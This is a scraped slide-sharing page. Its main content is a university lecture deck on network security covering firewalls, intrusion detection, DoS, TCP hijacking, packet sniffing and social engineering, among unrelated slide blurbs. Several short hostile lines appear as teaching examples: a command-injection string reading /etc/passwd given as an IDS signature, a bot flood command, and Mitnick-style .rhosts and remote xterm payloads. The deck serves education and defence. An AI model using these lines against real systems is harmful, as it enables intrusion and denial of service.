The document outlines an overview of network security topics including access control. It discusses definitions of security, why security is needed, who is vulnerable, and common security attacks and countermeasures such as firewalls and intrusion detection systems. Specific attacks covered include denial of service attacks, TCP attacks, packet sniffing, and social engineering problems.
Social engineering and human error present the single biggest threat to companies in 2017. In fact, 60% of enterprise companies were targeted by social engineering attacks within the last year. As cyber security automation practices get better, attackers are increasingly relying on social engineering to make their way into systems and networks.
Visit- https://www.siemplify.co/
Slides for a college course at City College San Francisco. Based on "Hands-On Ethical Hacking and Network Defense, Third Edition" by Michael T. Simpson, Kent Backman, and James Corley -- ISBN: 9781285454610.
Instructor: Sam Bowne
Class website: https://samsclass.info/123/123_S17.shtml
Social engineering and human error present the single biggest threat to companies in 2017. In fact, 60% of enterprise companies were targeted by social engineering attacks within the last year. As cyber security automation practices get better, attackers are increasingly relying on social engineering to make their way into systems and networks.
Visit- https://www.siemplify.co/
Slides for a college course at City College San Francisco. Based on "Hands-On Ethical Hacking and Network Defense, Third Edition" by Michael T. Simpson, Kent Backman, and James Corley -- ISBN: 9781285454610.
Instructor: Sam Bowne
Class website: https://samsclass.info/123/123_S17.shtml
A short introduction to cryptography. What is public and private key cryptography? What is a Caesar Cipher and how do we decrypt it? How does RSA work?
A Presentation On Basic Network Security And Viruses For College Level. Basics on Networking, Network Security, Virus, Spyware, Vulnerability, Hacking And Indian Laws To Prevent Hacking
How To Learn The Network Security
Slide berikut merupakan slide yang berisikan dasar-dasar bagi kita dalam memahami konsep keamanan jaringan komputer, baik dari sisi inftrastruktur, teknologi dan paradigma bagi pengguna.
Materi yang diberikan sudah disusun oleh Pakar yang merupakan Trainer CEH dan memang berkompeten dibidang keamanan jaringan.
Slide ini saya dapatkan dari beliau saat mengikut training Certified Computer Security Officer (CCSO) dan Certified Computer Security Analyst (CCSA) dari beliau.
Semoga bermanfaat sebagai acuan bagi kita untuk belajar tentang keamanan jaringan komputer.
Terimakasih
This is a presentation i made about Denial of Service or a Distributed Denial of Service (DoS / DDoS) and the latest methods used to crash anything online and the future of such attacks which can disrupt the whole internet . Such attacks which are in TB's and can be launched from just single computer. And, there is not much that can be done to prevent them.
Slides present data and information system. In any information system security and integrity is the prime concern. How we can make sure stored data is more secure and generated information should be accurate, reliable and consistent.
Network security consists of the provisions and policies adopted by a network administrator to prevent and monitor unauthorized access, misuse, modification, or denial of a computer network and network-accessible resources.
Network Security, What is security?
Why do we need security?
Who is vulnerable? Common security attacks and countermeasures, Firewalls & Intrusion Detection Systems
Denial of Service Attacks
TCP Attacks
Packet Sniffing
Social Problems
A short introduction to cryptography. What is public and private key cryptography? What is a Caesar Cipher and how do we decrypt it? How does RSA work?
A Presentation On Basic Network Security And Viruses For College Level. Basics on Networking, Network Security, Virus, Spyware, Vulnerability, Hacking And Indian Laws To Prevent Hacking
How To Learn The Network Security
Slide berikut merupakan slide yang berisikan dasar-dasar bagi kita dalam memahami konsep keamanan jaringan komputer, baik dari sisi inftrastruktur, teknologi dan paradigma bagi pengguna.
Materi yang diberikan sudah disusun oleh Pakar yang merupakan Trainer CEH dan memang berkompeten dibidang keamanan jaringan.
Slide ini saya dapatkan dari beliau saat mengikut training Certified Computer Security Officer (CCSO) dan Certified Computer Security Analyst (CCSA) dari beliau.
Semoga bermanfaat sebagai acuan bagi kita untuk belajar tentang keamanan jaringan komputer.
Terimakasih
This is a presentation i made about Denial of Service or a Distributed Denial of Service (DoS / DDoS) and the latest methods used to crash anything online and the future of such attacks which can disrupt the whole internet . Such attacks which are in TB's and can be launched from just single computer. And, there is not much that can be done to prevent them.
Slides present data and information system. In any information system security and integrity is the prime concern. How we can make sure stored data is more secure and generated information should be accurate, reliable and consistent.
Network security consists of the provisions and policies adopted by a network administrator to prevent and monitor unauthorized access, misuse, modification, or denial of a computer network and network-accessible resources.
Network Security, What is security?
Why do we need security?
Who is vulnerable? Common security attacks and countermeasures, Firewalls & Intrusion Detection Systems
Denial of Service Attacks
TCP Attacks
Packet Sniffing
Social Problems
Read| The latest issue of The Challenger is here! We are thrilled to announce that our school paper has qualified for the NATIONAL SCHOOLS PRESS CONFERENCE (NSPC) 2024. Thank you for your unwavering support and trust. Dive into the stories that made us stand out!
Safalta Digital marketing institute in Noida, provide complete applications that encompass a huge range of virtual advertising and marketing additives, which includes search engine optimization, virtual communication advertising, pay-per-click on marketing, content material advertising, internet analytics, and greater. These university courses are designed for students who possess a comprehensive understanding of virtual marketing strategies and attributes.Safalta Digital Marketing Institute in Noida is a first choice for young individuals or students who are looking to start their careers in the field of digital advertising. The institute gives specialized courses designed and certification.
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Normal Labour/ Stages of Labour/ Mechanism of LabourWasim Ak
Normal labor is also termed spontaneous labor, defined as the natural physiological process through which the fetus, placenta, and membranes are expelled from the uterus through the birth canal at term (37 to 42 weeks
June 3, 2024 Anti-Semitism Letter Sent to MIT President Kornbluth and MIT Cor...Levi Shapiro
Letter from the Congress of the United States regarding Anti-Semitism sent June 3rd to MIT President Sally Kornbluth, MIT Corp Chair, Mark Gorenberg
Dear Dr. Kornbluth and Mr. Gorenberg,
The US House of Representatives is deeply concerned by ongoing and pervasive acts of antisemitic
harassment and intimidation at the Massachusetts Institute of Technology (MIT). Failing to act decisively to ensure a safe learning environment for all students would be a grave dereliction of your responsibilities as President of MIT and Chair of the MIT Corporation.
This Congress will not stand idly by and allow an environment hostile to Jewish students to persist. The House believes that your institution is in violation of Title VI of the Civil Rights Act, and the inability or
unwillingness to rectify this violation through action requires accountability.
Postsecondary education is a unique opportunity for students to learn and have their ideas and beliefs challenged. However, universities receiving hundreds of millions of federal funds annually have denied
students that opportunity and have been hijacked to become venues for the promotion of terrorism, antisemitic harassment and intimidation, unlawful encampments, and in some cases, assaults and riots.
The House of Representatives will not countenance the use of federal funds to indoctrinate students into hateful, antisemitic, anti-American supporters of terrorism. Investigations into campus antisemitism by the Committee on Education and the Workforce and the Committee on Ways and Means have been expanded into a Congress-wide probe across all relevant jurisdictions to address this national crisis. The undersigned Committees will conduct oversight into the use of federal funds at MIT and its learning environment under authorities granted to each Committee.
• The Committee on Education and the Workforce has been investigating your institution since December 7, 2023. The Committee has broad jurisdiction over postsecondary education, including its compliance with Title VI of the Civil Rights Act, campus safety concerns over disruptions to the learning environment, and the awarding of federal student aid under the Higher Education Act.
• The Committee on Oversight and Accountability is investigating the sources of funding and other support flowing to groups espousing pro-Hamas propaganda and engaged in antisemitic harassment and intimidation of students. The Committee on Oversight and Accountability is the principal oversight committee of the US House of Representatives and has broad authority to investigate “any matter” at “any time” under House Rule X.
• The Committee on Ways and Means has been investigating several universities since November 15, 2023, when the Committee held a hearing entitled From Ivory Towers to Dark Corners: Investigating the Nexus Between Antisemitism, Tax-Exempt Universities, and Terror Financing. The Committee followed the hearing with letters to those institutions on January 10, 202
Operation “Blue Star” is the only event in the history of Independent India where the state went into war with its own people. Even after about 40 years it is not clear if it was culmination of states anger over people of the region, a political game of power or start of dictatorial chapter in the democratic setup.
The people of Punjab felt alienated from main stream due to denial of their just demands during a long democratic struggle since independence. As it happen all over the word, it led to militant struggle with great loss of lives of military, police and civilian personnel. Killing of Indira Gandhi and massacre of innocent Sikhs in Delhi and other India cities was also associated with this movement.
Acetabularia Information For Class 9 .docxvaibhavrinwa19
Acetabularia acetabulum is a single-celled green alga that in its vegetative state is morphologically differentiated into a basal rhizoid and an axially elongated stalk, which bears whorls of branching hairs. The single diploid nucleus resides in the rhizoid.
A Strategic Approach: GenAI in EducationPeter Windle
Artificial Intelligence (AI) technologies such as Generative AI, Image Generators and Large Language Models have had a dramatic impact on teaching, learning and assessment over the past 18 months. The most immediate threat AI posed was to Academic Integrity with Higher Education Institutes (HEIs) focusing their efforts on combating the use of GenAI in assessment. Guidelines were developed for staff and students, policies put in place too. Innovative educators have forged paths in the use of Generative AI for teaching, learning and assessments leading to pockets of transformation springing up across HEIs, often with little or no top-down guidance, support or direction.
This Gasta posits a strategic approach to integrating AI into HEIs to prepare staff, students and the curriculum for an evolving world and workplace. We will highlight the advantages of working with these technologies beyond the realm of teaching, learning and assessment by considering prompt engineering skills, industry impact, curriculum changes, and the need for staff upskilling. In contrast, not engaging strategically with Generative AI poses risks, including falling behind peers, missed opportunities and failing to ensure our graduates remain employable. The rapid evolution of AI technologies necessitates a proactive and strategic approach if we are to remain relevant.
Unit 8 - Information and Communication Technology (Paper I).pdfThiyagu K
This slides describes the basic concepts of ICT, basics of Email, Emerging Technology and Digital Initiatives in Education. This presentations aligns with the UGC Paper I syllabus.
Biological screening of herbal drugs: Introduction and Need for
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How libraries can support authors with open access requirements for UKRI fund...
Chapter 6 network security
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INFORMATION SECURITY
Network Security
Overview
What is Security
Why do we Need Security
Who is Vulnerable
Common Security attack and there
countermeasure
Firewalls
Intrussion Detection
Dictionary Attack
Denial of Service
TCP Attacks
Five Minute Break
Packet Sniffing
Social Problems
Conclusion
• Justin Weisz
• jweisz@andrew.cmu.edu
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A Brief History of the World
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Overview
• What is security?
• Why do we need security?
• Who is vulnerable?
• Common security attacks and countermeasures
– Firewalls & Intrusion Detection Systems
– Denial of Service Attacks
– TCP Attacks
– Packet Sniffing
– Social Problems
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What is “Security”
• Dictionary.com says:
– 1. Freedom from risk or danger; safety.
– 2. Freedom from doubt, anxiety, or fear; confidence.
– 3. Something that gives or assures safety, as:
• 1. A group or department of private guards: Call building security
if a visitor acts suspicious.
• 2. Measures adopted by a government to prevent espionage,
sabotage, or attack.
• 3. Measures adopted, as by a business or homeowner, to prevent
a crime such as burglary or assault: Security was lax at the firm's
smaller plant.
…etc.
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What is “Security”
• Dictionary.com says:
– 1. Freedom from risk or danger; safety.
– 2. Freedom from doubt, anxiety, or fear; confidence.
– 3. Something that gives or assures safety, as:
• 1. A group or department of private guards: Call building security
if a visitor acts suspicious.
• 2. Measures adopted by a government to prevent espionage,
sabotage, or attack.
• 3. Measures adopted, as by a business or homeowner, to prevent
a crime such as burglary or assault: Security was lax at the firm's
smaller plant.
…etc.
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What is “Security”
• Dictionary.com says:
– 1. Freedom from risk or danger; safety.
– 2. Freedom from doubt, anxiety, or fear; confidence.
– 3. Something that gives or assures safety, as:
• 1. A group or department of private guards: Call building security
if a visitor acts suspicious.
• 2. Measures adopted by a government to prevent espionage,
sabotage, or attack.
• 3. Measures adopted, as by a business or homeowner, to prevent
a crime such as burglary or assault: Security was lax at the firm's
smaller plant.
…etc.
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What is “Security”
• Dictionary.com says:
– 1. Freedom from risk or danger; safety.
– 2. Freedom from doubt, anxiety, or fear; confidence.
– 3. Something that gives or assures safety, as:
• 1. A group or department of private guards: Call building security
if a visitor acts suspicious.
• 2. Measures adopted by a government to prevent espionage,
sabotage, or attack.
• 3. Measures adopted, as by a business or homeowner, to prevent
a crime such as burglary or assault: Security was lax at the firm's
smaller plant.
…etc.
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Why do we need security?
• Protect vital information while still allowing
access to those who need it
– Trade secrets, medical records, etc.
• Provide authentication and access control for
resources
– Ex: AFS
• Guarantee availability of resources
– Ex: 5 9’s (99.999% reliability)
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Who is vulnerable?
• Financial institutions and banks
• Internet service providers
• Pharmaceutical companies
• Government and defense agencies
• Contractors to various government agencies
• Multinational corporations
• ANYONE ON THE NETWORK
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Common security attacks and
their countermeasures
• Finding a way into the network
– Firewalls
• Exploiting software bugs, buffer overflows
– Intrusion Detection Systems
• Denial of Service
– Ingress filtering, IDS
• TCP hijacking
– IPSec
• Packet sniffing
– Encryption (SSH, SSL, HTTPS)
• Social problems
– Education
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Firewalls
• Basic problem – many network applications
and protocols have security problems that
are fixed over time
– Difficult for users to keep up with changes and
keep host secure
– Solution
• Administrators limit access to end hosts by using a
firewall
• Firewall is kept up-to-date by administrators
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Firewalls
• A firewall is like a castle with a drawbridge
– Only one point of access into the network
– This can be good or bad
• Can be hardware or software
– Ex. Some routers come with firewall functionality
– ipfw, ipchains, pf on Unix systems, Windows XP
and Mac OS X have built in firewalls
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Firewalls
Intranet
DMZInternet
Firewall
Firewall
Web server, email
server, web proxy,
etc
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Firewalls
• Used to filter packets based on a combination of
features
– These are called packet filtering firewalls
• There are other types too, but they will not be discussed
– Ex. Drop packets with destination port of 23 (Telnet)
– Can use any combination of IP/UDP/TCP header
information
– man ipfw on unix47 for much more detail
• But why don’t we just turn Telnet off?
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Firewalls
• Here is what a computer with a default
Windows XP install looks like:
– 135/tcp open loc-srv
– 139/tcp open netbios-ssn
– 445/tcp open microsoft-ds
– 1025/tcp open NFS-or-IIS
– 3389/tcp open ms-term-serv
– 5000/tcp open UPnP
• Might need some of these services, or might
not be able to control all the machines on the
network
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Firewalls
• What does a firewall rule look like?
– Depends on the firewall used
• Example: ipfw
– /sbin/ipfw add deny tcp from cracker.evil.org to
wolf.tambov.su telnet
• Other examples: WinXP & Mac OS X have
built in and third party firewalls
– Different graphical user interfaces
– Varying amounts of complexity and power
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Intrusion Detection
• Used to monitor for “suspicious activity” on a
network
– Can protect against known software exploits, like
buffer overflows
• Open Source IDS: Snort, www.snort.org
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Intrusion Detection
• Uses “intrusion signatures”
– Well known patterns of behavior
• Ping sweeps, port scanning, web server indexing, OS
fingerprinting, DoS attempts, etc.
• Example
– IRIX vulnerability in webdist.cgi
– Can make a rule to drop packets containing the line
• “/cgi-bin/webdist.cgi?distloc=?;cat%20/etc/passwd”
• However, IDS is only useful if contingency plans are
in place to curb attacks as they are occurring
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Minor Detour…
• Say we got the /etc/passwd file from the IRIX
server
• What can we do with it?
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Dictionary Attack
• We can run a dictionary attack on the passwords
– The passwords in /etc/passwd are encrypted with the
crypt(3) function (one-way hash)
– Can take a dictionary of words, crypt() them all, and
compare with the hashed passwords
• This is why your passwords should be meaningless
random junk!
– For example, “sdfo839f” is a good password
• That is not my andrew password
• Please don’t try it either
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Denial of Service
• Purpose: Make a network service unusable,
usually by overloading the server or network
• Many different kinds of DoS attacks
– SYN flooding
– SMURF
– Distributed attacks
– Mini Case Study: Code-Red
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Denial of Service
• SYN flooding attack
• Send SYN packets with bogus source address
– Why?
• Server responds with SYN ACK and keeps state
about TCP half-open connection
– Eventually, server memory is exhausted with this state
• Solution: use “SYN cookies”
– In response to a SYN, create a special “cookie” for the
connection, and forget everything else
– Then, can recreate the forgotten information when the
ACK comes in from a legitimate connection
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Denial of Service
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Denial of Service
• SMURF
– Source IP address of a broadcast ping is forged
– Large number of machines respond back to
victim, overloading it
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Denial of Service
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Denial of Service
• Distributed Denial of Service
– Same techniques as regular DoS, but on a much larger
scale
– Example: Sub7Server Trojan and IRC bots
• Infect a large number of machines with a “zombie” program
• Zombie program logs into an IRC channel and awaits commands
• Example:
– Bot command: !p4 207.71.92.193
– Result: runs ping.exe 207.71.92.193 -l 65500 -n 10000
– Sends 10,000 64k packets to the host (655MB!)
• Read more at: http://grc.com/dos/grcdos.htm
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Denial of Service
• Mini Case Study – CodeRed
– July 19, 2001: over 359,000 computers infected
with Code-Red in less than 14 hours
– Used a recently known buffer exploit in Microsoft
IIS
– Damages estimated in excess of $2.6 billion
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Denial of Service
• Why is this under the Denial of Service
category?
– CodeRed launched a DDOS attack against
www1.whitehouse.gov from the 20th to the 28th
of every month!
– Spent the rest of its time infecting other hosts
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Denial of Service
• How can we protect ourselves?
– Ingress filtering
• If the source IP of a packet comes in on an interface
which does not have a route to that packet, then drop
it
• RFC 2267 has more information about this
– Stay on top of CERT advisories and the latest
security patches
• A fix for the IIS buffer overflow was released sixteen
days before CodeRed had been deployed!
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TCP Attacks
• Recall how IP works…
– End hosts create IP packets and routers process
them purely based on destination address alone
• Problem: End hosts may lie about other fields
which do not affect delivery
– Source address – host may trick destination into
believing that the packet is from a trusted source
• Especially applications which use IP addresses as a
simple authentication method
• Solution – use better authentication methods
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TCP Attacks
• TCP connections have associated state
– Starting sequence numbers, port numbers
• Problem – what if an attacker learns these
values?
– Port numbers are sometimes well known to begin
with (ex. HTTP uses port 80)
– Sequence numbers are sometimes chosen in
very predictable ways
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TCP Attacks
• If an attacker learns the associated TCP
state for the connection, then the connection
can be hijacked!
• Attacker can insert malicious data into the
TCP stream, and the recipient will believe it
came from the original source
– Ex. Instead of downloading and running new
program, you download a virus and execute it
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TCP Attacks
• Say hello to Alice, Bob and Mr. Big Ears
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TCP Attacks
• Alice and Bob have an established TCP
connection
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TCP Attacks
• Mr. Big Ears lies on the path between Alice
and Bob on the network
– He can intercept all of their packets
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TCP Attacks
• First, Mr. Big Ears must drop all of Alice’s
packets since they must not be delivered to
Bob (why?)
Packets
The Void
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TCP Attacks
• Then, Mr. Big Ears sends his malicious
packet with the next ISN (sniffed from the
network)
ISN, SRC=Alice
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TCP Attacks
• What if Mr. Big Ears is unable to sniff the
packets between Alice and Bob?
– Can just DoS Alice instead of dropping her
packets
– Can just send guesses of what the ISN is until it
is accepted
• How do you know when the ISN is accepted?
– Mitnick: payload is “add self to .rhosts”
– Or, “xterm -display MrBigEars:0”
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TCP Attacks
• Why are these types of TCP attacks so
dangerous?
Web server
Malicious user
Trusting web client
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TCP Attacks
• How do we prevent this?
• IPSec
– Provides source authentication, so Mr. Big Ears
cannot pretend to be Alice
– Encrypts data before transport, so Mr. Big Ears
cannot talk to Bob without knowing what the
session key is
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Five Minute Break
• For your enjoyment, here is something
completely unrelated to this lecture:
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Packet Sniffing
• Recall how Ethernet works …
• When someone wants to send a packet to
some else …
• They put the bits on the wire with the
destination MAC address …
• And remember that other hosts are listening
on the wire to detect for collisions …
• It couldn’t get any easier to figure out what
data is being transmitted over the network!
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Packet Sniffing
• This works for wireless too!
• In fact, it works for any broadcast-based
medium
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Packet Sniffing
• What kinds of data can we get?
• Asked another way, what kind of information
would be most useful to a malicious user?
• Answer: Anything in plain text
– Passwords are the most popular
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Packet Sniffing
• How can we protect ourselves?
• SSH, not Telnet
– Many people at CMU still use Telnet and send their password in the
clear (use PuTTY instead!)
– Now that I have told you this, please do not exploit this information
– Packet sniffing is, by the way, prohibited by Computing Services
• HTTP over SSL
– Especially when making purchases with credit cards!
• SFTP, not FTP
– Unless you really don’t care about the password or data
– Can also use KerbFTP (download from MyAndrew)
• IPSec
– Provides network-layer confidentiality
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Social Problems
• People can be just as dangerous as
unprotected computer systems
– People can be lied to, manipulated, bribed,
threatened, harmed, tortured, etc. to give up
valuable information
– Most humans will breakdown once they are at
the “harmed” stage, unless they have been
specially trained
• Think government here…
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Social Problems
• Fun Example 1:
– “Hi, I’m your AT&T rep, I’m stuck on a pole. I
need you to punch a bunch of buttons for me”
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Social Problems
• Fun Example 2:
– Someone calls you in the middle of the night
• “Have you been calling Egypt for the last six hours?”
• “No”
• “Well, we have a call that’s actually active right now,
it’s on your calling card and it’s to Egypt and as a
matter of fact, you’ve got about $2000 worth of
charges on your card and … read off your AT&T card
number and PIN and then I’ll get rid of the charge for
you”
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Social Problems
• Fun Example 3:
– Who saw Office Space?
– In the movie, the three disgruntled employees
installed a money-stealing worm onto the
companies systems
– They did this from inside the company, where
they had full access to the companies systems
• What security techniques can we use to prevent this
type of access?
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Social Problems
• There aren’t always solutions to all of these problems
– Humans will continue to be tricked into giving out information they
shouldn’t
– Educating them may help a little here, but, depending on how bad
you want the information, there are a lot of bad things you can do to
get it
• So, the best that can be done is to implement a wide variety
of solutions and more closely monitor who has access to
what network resources and information
– But, this solution is still not perfect
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Conclusions
• The Internet works only because we implicitly
trust one another
• It is very easy to exploit this trust
• The same holds true for software
• It is important to stay on top of the latest
CERT security advisories to know how to
patch any security holes
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Security related URLs
• http://www.robertgraham.com/pubs/network-
intrusion-detection.html
• http://online.securityfocus.com/infocus/1527
• http://www.snort.org/
• http://www.cert.org/
• http://www.nmap.org/
• http://grc.com/dos/grcdos.htm
• http://lcamtuf.coredump.cx/newtcp/